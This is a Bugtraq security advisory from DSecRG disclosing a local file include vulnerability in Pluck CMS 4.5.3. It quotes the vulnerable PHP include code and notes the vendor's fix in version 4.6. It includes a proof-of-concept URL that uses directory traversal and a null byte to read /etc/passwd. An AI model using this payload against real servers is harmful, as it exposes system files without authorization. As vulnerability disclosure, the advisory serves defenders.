Hello, bugtraq.
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-039
Application: Pluck CMS
Versions Affected: 4.5.3
Vendor URL: http://www.pluck-cms.org/
Bug: Local File Include
Exploits: YES
Reported: 25.08.2008
Vendor Response: 30.08.2008
Solution: YES
Date of Public Advisory: 18.11.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
Pluck CMS has Local File Include vulnerability.
Details
*******
1. Local File Include vulnerability found in script data/inc/lib/pcltar.lib.php
Successful exploitation requires that "register_globals" is enabled.
Code
----
#################################################
if (!isset($g_pcltar_lib_dir))
$g_pcltar_lib_dir = "lib";
...
$g_pcltar_extension = "php";
if (!defined("PCLERROR_LIB"))
{
include("data/inc/$g_pcltar_lib_dir/pclerror.lib.$g_pcltar_extension");
}
if (!defined("PCLTRACE_LIB"))
{
include("data/inc/$g_pcltar_lib_dir/pcltrace.lib.$g_pcltar_extension");
}
#################################################
Example:
http://[server]/[installdir]/data/inc/lib/pcltar.lib.php?g_pcltar_lib_di
r=../../../../../../../../../../../../../etc/passwd%00
Solution
********
Vendor fix this flaw on 09.08.2008. New version of Pluck CMS 4.6 can be download here:
http://www.pluck-cms.org/downloads/click.php?id=8
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
